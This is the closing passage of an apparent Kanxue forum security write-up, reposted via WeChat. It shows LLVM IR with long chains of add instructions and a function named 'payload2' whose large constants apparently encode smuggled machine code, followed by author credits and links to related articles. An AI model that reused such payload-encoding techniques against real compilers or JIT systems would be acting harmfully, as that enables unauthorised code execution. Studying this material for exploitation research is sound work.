nsw i64 %35, 1024  %37 = add nsw i64 %36, 1024  %38 = add nsw i64 %37, 1024  %39 = add nsw i64 %38, 1024  %40 = add nsw i64 %39, 1024  %41 = add nsw i64 %40, 1024  %42 = add nsw i64 %41, 1024  %43 = add nsw i64 %42, 1024  %44 = add nsw i64 %43, 1024  %45 = add nsw i64 %44, 1024  %46 = add nsw i64 %45, 1024  %47 = add nsw i64 %46, 1024  %48 = add nsw i64 %47, 1024  %49 = add nsw i64 %48, 1024  %50 = add nsw i64 %49, 1024  %51 = add nsw i64 %50, 1024  %52 = add nsw i64 %51, 1024  %53 = add nsw i64 %52, 1024  %54 = add nsw i64 %53, 1024  %55 = add nsw i64 %54, 1024  %56 = add nsw i64 %55, 1024  %57 = add nsw i64 %56, 1024  %58 = add nsw i64 %57, 1024  %59 = add nsw i64 %58, 1024  %60 = add nsw i64 %59, 1024  %61 = add nsw i64 %60, 1024  %62 = add nsw i64 %61, 1024  %63 = add nsw i64 %62, 1024  %64 = add nsw i64 %63, 1024  %65 = add nsw i64 %64, 1024  %66 = add nsw i64 %65, 1024  %67 = add nsw i64 %66, 1024  %68 = add nsw i64 %67, 1024  %69 = add nsw i64 %68, 1024  %70 = add nsw i64 %69, 1024  %71 = add nsw i64 %70, 1024  %72 = add nsw i64 %71, 1024  %73 = add nsw i64 %72, 1024  %74 = add nsw i64 %73, 1024  %75 = add nsw i64 %74, 1024  %76 = add nsw i64 %75, 1024  %77 = add nsw i64 %76, 1024  %78 = add nsw i64 %77, 1024  %79 = add nsw i64 %78, 1024  %80 = add nsw i64 %79, 1024  %81 = add nsw i64 %80, 1024  %82 = add nsw i64 %81, 1024  %83 = add nsw i64 %82, 1024  %84 = add nsw i64 %83, 1024  %85 = add nsw i64 %84, 1024  %86 = add nsw i64 %85, 1024  %87 = add nsw i64 %86, 1024  %88 = add nsw i64 %87, 1024  %89 = add nsw i64 %88, 1024  %90 = add nsw i64 %89, 1024  %91 = add nsw i64 %90, 1024  %92 = add nsw i64 %91, 1024  %93 = add nsw i64 %92, 1024  %94 = add nsw i64 %93, 1024  %95 = add nsw i64 %94, 1024  %96 = add nsw i64 %95, 1024  %97 = add nsw i64 %96, 1024  %98 = add nsw i64 %97, 1024  %99 = add nsw i64 %98, 1024  %100 = add nsw i64 %99, 1024  %101 = add nsw i64 %100, 1024  %102 = add nsw i64 %101, 1024  %103 = add nsw i64 %102, 1024  %104 = add nsw i64 %103, 1024  %105 = add nsw i64 %104, 1024  %106 = add nsw i64 %105, 1024  %107 = add nsw i64 %106, 1024  %108 = add nsw i64 %107, 1024  %109 = add nsw i64 %108, 1024  %110 = add nsw i64 %109, 1024  %111 = add nsw i64 %110, 1024  %112 = add nsw i64 %111, 1024  %113 = add nsw i64 %112, 1024  %114 = add nsw i64 %113, 1024  %115 = add nsw i64 %114, 1024  %116 = add nsw i64 %115, 1024  %117 = add nsw i64 %116, 1024  %118 = add nsw i64 %117, 1024  %119 = add nsw i64 %118, 1024  %120 = add nsw i64 %119, 1024  %121 = add nsw i64 %120, 1024  %122 = add nsw i64 %121, 1024  %123 = add nsw i64 %122, 1024  %124 = add nsw i64 %123, 1024  %125 = add nsw i64 %124, 1024  %126 = add nsw i64 %125, 1024  %127 = add nsw i64 %126, 1024  %128 = add nsw i64 %127, 1024  %129 = add nsw i64 %128, 1024  %130 = add nsw i64 %129, 1024  %131 = add nsw i64 %130, 1024  %132 = add nsw i64 %131, 1024  %133 = add nsw i64 %132, 1024  %134 = add nsw i64 %133, 1024  %135 = add nsw i64 %134, 1024  %136 = add nsw i64 %135, 1024  %137 = add nsw i64 %136, 1024  %138 = add nsw i64 %137, 1024  %139 = add nsw i64 %138, 1024  %140 = add nsw i64 %139, 1024  %141 = add nsw i64 %140, 1024  %142 = add nsw i64 %141, 1024  %143 = add nsw i64 %142, 1024  %144 = add nsw i64 %143, 1024  %145 = add nsw i64 %144, 1024  %146 = add nsw i64 %145, 1024  %147 = add nsw i64 %146, 1024  %148 = add nsw i64 %147, 1024  %149 = add nsw i64 %148, 1024  %150 = add nsw i64 %149, 1024  %151 = add nsw i64 %150, 1024  %152 = add nsw i64 %151, 1024  %153 = add nsw i64 %152, 1024  %154 = add nsw i64 %153, 1024  %155 = add nsw i64 %154, 1024  %156 = add nsw i64 %155, 1024  %157 = add nsw i64 %156, 1024  %158 = add nsw i64 %157, 1024  %159 = add nsw i64 %158, 1024  %160 = add nsw i64 %159, 1024  %161 = add nsw i64 %160, 1024  %162 = add nsw i64 %161, 1024  %163 = add nsw i64 %162, 1024  %164 = add nsw i64 %163, 1024  %165 = add nsw i64 %164, 1024  %166 = add nsw i64 %165, 1024  %167 = add nsw i64 %166, 1024  %168 = add nsw i64 %167, 1024  %169 = add nsw i64 %168, 1024  %170 = add nsw i64 %169, 1024  %171 = add nsw i64 %170, 1024  %172 = add nsw i64 %171, 1024  %173 = add nsw i64 %172, 1024  %174 = add nsw i64 %173, 1024  %175 = add nsw i64 %174, 1024  %176 = add nsw i64 %175, 1024  %177 = add nsw i64 %176, 1024  %178 = add nsw i64 %177, 1024  %179 = add nsw i64 %178, 1024  %180 = add nsw i64 %179, 1024  %181 = add nsw i64 %180, 1024  %182 = add nsw i64 %181, 1024  %183 = add nsw i64 %182, 1024  %184 = add nsw i64 %183, 1024  %185 = add nsw i64 %184, 1024  %186 = add nsw i64 %185, 1024  %187 = add nsw i64 %186, 1024  %188 = add nsw i64 %187, 1024  %189 = add nsw i64 %188, 1024  %190 = add nsw i64 %189, 1024  %191 = add nsw i64 %190, 1024  %192 = add nsw i64 %191, 1024  %193 = add nsw i64 %192, 1024  %194 = add nsw i64 %193, 1024  %195 = add nsw i64 %194, 1024  %196 = add nsw i64 %195, 1024  %197 = add nsw i64 %196, 1024  %198 = add nsw i64 %197, 1024  %199 = add nsw i64 %198, 1024  %200 = add nsw i64 %199, 1024  %201 = add nsw i64 %200, 1024  %202 = add nsw i64 %201, 1024  %203 = add nsw i64 %202, 1024  %204 = add nsw i64 %203, 1024  %205 = add nsw i64 %204, 1024  %206 = add nsw i64 %205, 1024  %207 = add nsw i64 %206, 1024  %208 = add nsw i64 %207, 1024  %209 = add nsw i64 %208, 1024  %210 = add nsw i64 %209, 1024  %211 = add nsw i64 %210, 1024  %212 = add nsw i64 %211, 1024  %213 = add nsw i64 %212, 1024  %214 = add nsw i64 %213, 1024  %215 = add nsw i64 %214, 1024  %216 = add nsw i64 %215, 1024  %217 = add nsw i64 %216, 1024  %218 = add nsw i64 %217, 1024  %219 = add nsw i64 %218, 1024  %220 = add nsw i64 %219, 1024  %221 = add nsw i64 %220, 1024  %222 = add nsw i64 %221, 1024  %223 = add nsw i64 %222, 1024  %224 = add nsw i64 %223, 1024  %225 = add nsw i64 %224, 1024  %226 = add nsw i64 %225, 1024  %227 = add nsw i64 %226, 1024  %228 = add nsw i64 %227, 1024  %229 = add nsw i64 %228, 1024  %230 = add nsw i64 %229, 1024  %231 = add nsw i64 %230, 1024  %232 = add nsw i64 %231, 1024  %233 = add nsw i64 %232, 1024  %234 = add nsw i64 %233, 1024  %235 = add nsw i64 %234, 1024  %236 = add nsw i64 %235, 1024  %237 = add nsw i64 %236, 1024  %238 = add nsw i64 %237, 1024  %239 = add nsw i64 %238, 1024  %240 = add nsw i64 %239, 1024  %241 = add nsw i64 %240, 1024  %242 = add nsw i64 %241, 1024  %243 = add nsw i64 %242, 1024  %244 = add nsw i64 %243, 1024  %245 = add nsw i64 %244, 1024  %246 = add nsw i64 %245, 1024  %247 = add nsw i64 %246, 1024  %248 = add nsw i64 %247, 1024  %249 = add nsw i64 %248, 1024  %250 = add nsw i64 %249, 1024  %251 = add nsw i64 %250, 1024  %252 = add nsw i64 %251, 1024  %253 = add nsw i64 %252, 1024  %254 = add nsw i64 %253, 1024  %255 = add nsw i64 %254, 1024  %256 = add nsw i64 %255, 1024  %257 = add nsw i64 %256, 1024  %258 = add nsw i64 %257, 1024  %259 = add nsw i64 %258, 1024  %260 = add nsw i64 %259, 1024  %261 = add nsw i64 %260, 1024  %262 = add nsw i64 %261, 1024  %263 = add nsw i64 %262, 1024  %264 = add nsw i64 %263, 1024  %265 = add nsw i64 %264, 1024  %266 = add nsw i64 %265, 1024  %267 = add nsw i64 %266, 1024  %268 = add nsw i64 %267, 1024  %269 = add nsw i64 %268, 1024  %270 = add nsw i64 %269, 1024  %271 = add nsw i64 %270, 1024  %272 = add nsw i64 %271, 1024  %273 = add nsw i64 %272, 1024  %274 = add nsw i64 %273, 1024  %275 = add nsw i64 %274, 1024  %276 = add nsw i64 %275, 1024  %277 = add nsw i64 %276, 1024  %278 = add nsw i64 %277, 1024  %279 = add nsw i64 %278, 1024  %280 = add nsw i64 %279, 1024  %281 = add nsw i64 %280, 1024  %282 = add nsw i64 %281, 1024  %283 = add nsw i64 %282, 1024  %284 = add nsw i64 %283, 1024  %285 = add nsw i64 %284, 1024  %286 = add nsw i64 %285, 1024  %287 = add nsw i64 %286, 1024  %288 = add nsw i64 %287, 1024  %289 = add nsw i64 %288, 1024  %290 = add nsw i64 %289, 1024  %291 = add nsw i64 %290, 1024  %292 = add nsw i64 %291, 1024  %293 = add nsw i64 %292, 1024  %294 = add nsw i64 %293, 1024  %295 = add nsw i64 %294, 1024  %296 = add nsw i64 %295, 1024  %297 = add nsw i64 %296, 1024  %298 = add nsw i64 %297, 1024  %299 = add nsw i64 %298, 1024  %300 = add nsw i64 %299, 1024  %301 = add nsw i64 %300, 1024  %302 = add nsw i64 %301, 1024  %303 = add nsw i64 %302, 1024  %304 = add nsw i64 %303, 1024  %305 = add nsw i64 %304, 1024  %306 = add nsw i64 %305, 1024  %307 = add nsw i64 %306, 1024  %308 = add nsw i64 %307, 1024  %309 = add nsw i64 %308, 1024  %310 = add nsw i64 %309, 1024  %311 = add nsw i64 %310, 1024  %312 = add nsw i64 %311, 1024  %313 = add nsw i64 %312, 1024  %314 = add nsw i64 %313, 1024  %315 = add nsw i64 %314, 1024  ret i64 %315} ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i64 @payload2(i64 %0) #0 {  %2 = add nsw i64 %0, 1  %3 = add nsw i64 %2, 1  %4 = add nsw i64 %3, 1  %5 = add nsw i64 %4, 1  %6 = add nsw i64 %5, 1  %7 = add nsw i64 %6, 16999839996723556031  %8 = add nsw i64 %7, 16999840167007600968  %9 = add nsw i64 %8, 16999839549882511291  %10 = add nsw i64 %9, 16999840169020293448  %11 = add nsw i64 %10, 16999840169015152727  %12 = add nsw i64 %11, 16999840169015152724  %13 = add nsw i64 %12, 16999840169015152735  %14 = add nsw i64 %13, 16999840169021813064  %15 = add nsw i64 %14, 16999840169019453768  %16 = add nsw i64 %15, 16999840169015130986  %17 = add nsw i64 %16, 16999840169015152728  %18 = add nsw i64 %17, 16999840169015117071  %19 = add nsw i64 %18, 1024  %20 = add nsw i64 %19, 1024  %21 = add nsw i64 %20, 1024  %22 = add nsw i64 %21, 1024  %23 = add nsw i64 %22, 1024  %24 = add nsw i64 %23, 1024  %25 = add nsw i64 %24, 1024  %26 = add nsw i64 %25, 1024  %27 = add nsw i64 %26, 1024  %28 = add nsw i64 %27, 1024  %29 = add nsw i64 %28, 1024  %30 = add nsw i64 %29, 1024  %31 = add nsw i64 %30, 1024  %32 = add nsw i64 %31, 1024  %33 = add nsw i64 %32, 1024  %34 = add nsw i64 %33, 1024  %35 = add nsw i64 %34, 1024  %36 = add nsw i64 %35, 1024  %37 = add nsw i64 %36, 1024  %38 = add nsw i64 %37, 1024  %39 = add nsw i64 %38, 1024  %40 = add nsw i64 %39, 1024  %41 = add nsw i64 %40, 1024  %42 = add nsw i64 %41, 1024  %43 = add nsw i64 %42, 1024  %44 = add nsw i64 %43, 1024  %45 = add nsw i64 %44, 1024  %46 = add nsw i64 %45, 1024  %47 = add nsw i64 %46, 1024  %48 = add nsw i64 %47, 1024  %49 = add nsw i64 %48, 1024  %50 = add nsw i64 %49, 1024  %51 = add nsw i64 %50, 1024  %52 = add nsw i64 %51, 1024  %53 = add nsw i64 %52, 1024  %54 = add nsw i64 %53, 1024  %55 = add nsw i64 %54, 1024  %56 = add nsw i64 %55, 1024  %57 = add nsw i64 %56, 1024  %58 = add nsw i64 %57, 1024  %59 = add nsw i64 %58, 1024  %60 = add nsw i64 %59, 1024  %61 = add nsw i64 %60, 1024  %62 = add nsw i64 %61, 1024  %63 = add nsw i64 %62, 1024  %64 = add nsw i64 %63, 1024  %65 = add nsw i64 %64, 1024  %66 = add nsw i64 %65, 1024  %67 = add nsw i64 %66, 1024  %68 = add nsw i64 %67, 1024  %69 = add nsw i64 %68, 1024  %70 = add nsw i64 %69, 1024  %71 = add nsw i64 %70, 1024  %72 = add nsw i64 %71, 1024  %73 = add nsw i64 %72, 1024  %74 = add nsw i64 %73, 1024  %75 = add nsw i64 %74, 1024  %76 = add nsw i64 %75, 1024  %77 = add nsw i64 %76, 1024  %78 = add nsw i64 %77, 1024  %79 = add nsw i64 %78, 1024  %80 = add nsw i64 %79, 1024  %81 = add nsw i64 %80, 1024  %82 = add nsw i64 %81, 1024  %83 = add nsw i64 %82, 1024  %84 = add nsw i64 %83, 1024  %85 = add nsw i64 %84, 1024  %86 = add nsw i64 %85, 1024  %87 = add nsw i64 %86, 1024  %88 = add nsw i64 %87, 1024  %89 = add nsw i64 %88, 1024  %90 = add nsw i64 %89, 1024  %91 = add nsw i64 %90, 1024  %92 = add nsw i64 %91, 1024  %93 = add nsw i64 %92, 1024  %94 = add nsw i64 %93, 1024  %95 = add nsw i64 %94, 1024  %96 = add nsw i64 %95, 1024  %97 = add nsw i64 %96, 1024  %98 = add nsw i64 %97, 1024  %99 = add nsw i64 %98, 1024  %100 = add nsw i64 %99, 1024  %101 = add nsw i64 %100, 1024  %102 = add nsw i64 %101, 1024  %103 = add nsw i64 %102, 1024  %104 = add nsw i64 %103, 1024  %105 = add nsw i64 %104, 1024  %106 = add nsw i64 %105, 1024  %107 = add nsw i64 %106, 1024  %108 = add nsw i64 %107, 1024  %109 = add nsw i64 %108, 1024  %110 = add nsw i64 %109, 1024  %111 = add nsw i64 %110, 1024  %112 = add nsw i64 %111, 1024  %113 = add nsw i64 %112, 1024  %114 = add nsw i64 %113, 1024  %115 = add nsw i64 %114, 1024  %116 = add nsw i64 %115, 1024  %117 = add nsw i64 %116, 1024  %118 = add nsw i64 %117, 1024  %119 = add nsw i64 %118, 1024  %120 = add nsw i64 %119, 1024  %121 = add nsw i64 %120, 1024  %122 = add nsw i64 %121, 1024  %123 = add nsw i64 %122, 1024  %124 = add nsw i64 %123, 1024  %125 = add nsw i64 %124, 1024  %126 = add nsw i64 %125, 1024  %127 = add nsw i64 %126, 1024  %128 = add nsw i64 %127, 1024  %129 = add nsw i64 %128, 1024  %130 = add nsw i64 %129, 1024  %131 = add nsw i64 %130, 1024  %132 = add nsw i64 %131, 1024  %133 = add nsw i64 %132, 1024  %134 = add nsw i64 %133, 1024  %135 = add nsw i64 %134, 1024  %136 = add nsw i64 %135, 1024  %137 = add nsw i64 %136, 1024  %138 = add nsw i64 %137, 1024  %139 = add nsw i64 %138, 1024  %140 = add nsw i64 %139, 1024  %141 = add nsw i64 %140, 1024  %142 = add nsw i64 %141, 1024  %143 = add nsw i64 %142, 1024  %144 = add nsw i64 %143, 1024  %145 = add nsw i64 %144, 1024  %146 = add nsw i64 %145, 1024  %147 = add nsw i64 %146, 1024  %148 = add nsw i64 %147, 1024  %149 = add nsw i64 %148, 1024  %150 = add nsw i64 %149, 1024  %151 = add nsw i64 %150, 1024  %152 = add nsw i64 %151, 1024  %153 = add nsw i64 %152, 1024  %154 = add nsw i64 %153, 1024  %155 = add nsw i64 %154, 1024  %156 = add nsw i64 %155, 1024  %157 = add nsw i64 %156, 1024  %158 = add nsw i64 %157, 1024  %159 = add nsw i64 %158, 1024  %160 = add nsw i64 %159, 1024  %161 = add nsw i64 %160, 1024  %162 = add nsw i64 %161, 1024  %163 = add nsw i64 %162, 1024  %164 = add nsw i64 %163, 1024  %165 = add nsw i64 %164, 1024  %166 = add nsw i64 %165, 1024  %167 = add nsw i64 %166, 1024  %168 = add nsw i64 %167, 1024  %169 = add nsw i64 %168, 1024  %170 = add nsw i64 %169, 1024  %171 = add nsw i64 %170, 1024  %172 = add nsw i64 %171, 1024  %173 = add nsw i64 %172, 1024  %174 = add nsw i64 %173, 1024  %175 = add nsw i64 %174, 1024  %176 = add nsw i64 %175, 1024  %177 = add nsw i64 %176, 1024  %178 = add nsw i64 %177, 1024  %179 = add nsw i64 %178, 1024  %180 = add nsw i64 %179, 1024  %181 = add nsw i64 %180, 1024  %182 = add nsw i64 %181, 1024  %183 = add nsw i64 %182, 1024  %184 = add nsw i64 %183, 1024  %185 = add nsw i64 %184, 1024  %186 = add nsw i64 %185, 1024  %187 = add nsw i64 %186, 1024  %188 = add nsw i64 %187, 1024  %189 = add nsw i64 %188, 1024  %190 = add nsw i64 %189, 1024  %191 = add nsw i64 %190, 1024  %192 = add nsw i64 %191, 1024  %193 = add nsw i64 %192, 1024  %194 = add nsw i64 %193, 1024  %195 = add nsw i64 %194, 1024  %196 = add nsw i64 %195, 1024  %197 = add nsw i64 %196, 1024  %198 = add nsw i64 %197, 1024  %199 = add nsw i64 %198, 1024  %200 = add nsw i64 %199, 1024  %201 = add nsw i64 %200, 1024  %202 = add nsw i64 %201, 1024  %203 = add nsw i64 %202, 1024  %204 = add nsw i64 %203, 1024  %205 = add nsw i64 %204, 1024  %206 = add nsw i64 %205, 1024  %207 = add nsw i64 %206, 1024  %208 = add nsw i64 %207, 1024  %209 = add nsw i64 %208, 1024  %210 = add nsw i64 %209, 1024  %211 = add nsw i64 %210, 1024  %212 = add nsw i64 %211, 1024  %213 = add nsw i64 %212, 1024  %214 = add nsw i64 %213, 1024  %215 = add nsw i64 %214, 1024  %216 = add nsw i64 %215, 1024  %217 = add nsw i64 %216, 1024  %218 = add nsw i64 %217, 1024  %219 = add nsw i64 %218, 1024  %220 = add nsw i64 %219, 1024  %221 = add nsw i64 %220, 1024  %222 = add nsw i64 %221, 1024  %223 = add nsw i64 %222, 1024  %224 = add nsw i64 %223, 1024  %225 = add nsw i64 %224, 1024  %226 = add nsw i64 %225, 1024  %227 = add nsw i64 %226, 1024  %228 = add nsw i64 %227, 1024  %229 = add nsw i64 %228, 1024  %230 = add nsw i64 %229, 1024  %231 = add nsw i64 %230, 1024  %232 = add nsw i64 %231, 1024  %233 = add nsw i64 %232, 1024  %234 = add nsw i64 %233, 1024  %235 = add nsw i64 %234, 1024  %236 = add nsw i64 %235, 1024  %237 = add nsw i64 %236, 1024  %238 = add nsw i64 %237, 1024  %239 = add nsw i64 %238, 1024  %240 = add nsw i64 %239, 1024  %241 = add nsw i64 %240, 1024  %242 = add nsw i64 %241, 1024  %243 = add nsw i64 %242, 1024  %244 = add nsw i64 %243, 1024  %245 = add nsw i64 %244, 1024  %246 = add nsw i64 %245, 1024  %247 = add nsw i64 %246, 1024  %248 = add nsw i64 %247, 1024  %249 = add nsw i64 %248, 1024  %250 = add nsw i64 %249, 1024  %251 = add nsw i64 %250, 1024  %252 = add nsw i64 %251, 1024  %253 = add nsw i64 %252, 1024  %254 = add nsw i64 %253, 1024  %255 = add nsw i64 %254, 1024  %256 = add nsw i64 %255, 1024  %257 = add nsw i64 %256, 1024  %258 = add nsw i64 %257, 1024  %259 = add nsw i64 %258, 1024  %260 = add nsw i64 %259, 1024  %261 = add nsw i64 %260, 1024  %262 = add nsw i64 %261, 1024  %263 = add nsw i64 %262, 1024  %264 = add nsw i64 %263, 1024  %265 = add nsw i64 %264, 1024  %266 = add nsw i64 %265, 1024  %267 = add nsw i64 %266, 1024  %268 = add nsw i64 %267, 1024  %269 = add nsw i64 %268, 1024  %270 = add nsw i64 %269, 1024  %271 = add nsw i64 %270, 1024  %272 = add nsw i64 %271, 1024  %273 = add nsw i64 %272, 1024  %274 = add nsw i64 %273, 1024  %275 = add nsw i64 %274, 1024  %276 = add nsw i64 %275, 1024  %277 = add nsw i64 %276, 1024  %278 = add nsw i64 %277, 1024  %279 = add nsw i64 %278, 1024  %280 = add nsw i64 %279, 1024  %281 = add nsw i64 %280, 1024  %282 = add nsw i64 %281, 1024  %283 = add nsw i64 %282, 1024  %284 = add nsw i64 %283, 1024  %285 = add nsw i64 %284, 1024  %286 = add nsw i64 %285, 1024  %287 = add nsw i64 %286, 1024  %288 = add nsw i64 %287, 1024  %289 = add nsw i64 %288, 1024  %290 = add nsw i64 %289, 1024  %291 = add nsw i64 %290, 1024  %292 = add nsw i64 %291, 1024  %293 = add nsw i64 %292, 1024  %294 = add nsw i64 %293, 1024  %295 = add nsw i64 %294, 1024  %296 = add nsw i64 %295, 1024  %297 = add nsw i64 %296, 1024  %298 = add nsw i64 %297, 1024  %299 = add nsw i64 %298, 1024  %300 = add nsw i64 %299, 1024  %301 = add nsw i64 %300, 1024  %302 = add nsw i64 %301, 1024  %303 = add nsw i64 %302, 1024  %304 = add nsw i64 %303, 1024  %305 = add nsw i64 %304, 1024  %306 = add nsw i64 %305, 1024  %307 = add nsw i64 %306, 1024  %308 = add nsw i64 %307, 1024  %309 = add nsw i64 %308, 1024  %310 = add nsw i64 %309, 1024  %311 = add nsw i64 %310, 1024  %312 = add nsw i64 %311, 1024  %313 = add nsw i64 %312, 1024  %314 = add nsw i64 %313, 1024  %315 = add nsw i64 %314, 1024  %316 = add nsw i64 %315, 1024  %317 = add nsw i64 %316, 1024  %318 = add nsw i64 %317, 1024  ret i64 %318} attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0}!llvm.ident = !{!1} !0 = !{i32 1, !"wchar_size", i32 4}!1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}

看雪ID:winmt

https://bbs.pediy.com/user-home-949925.htm

*本文由看雪论坛 winmt 原创,转载请注明来自看雪社区

# 往期推荐

1.四级分页下的页表自映射与基址随机化原理介绍

2.Android 10属性系统原理,检测与定制源码反检测

3.WhatsApp私信协议实现记录

4.Android4.4和8.0 DexClassLoader加载流程分析之寻找脱壳点

5.实战DLL注入

6.某车联网APP加固分析

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458469080&idx=1&sn=ddaafabeee8bdaa7df3401eff0fb5da5&chksm=b18e725286f9fb443b7d810c22c79047380f776c9516c8640f1b8c114076d5c905ac5c2a6715#rd
如有侵权请联系:admin#unsafe.sh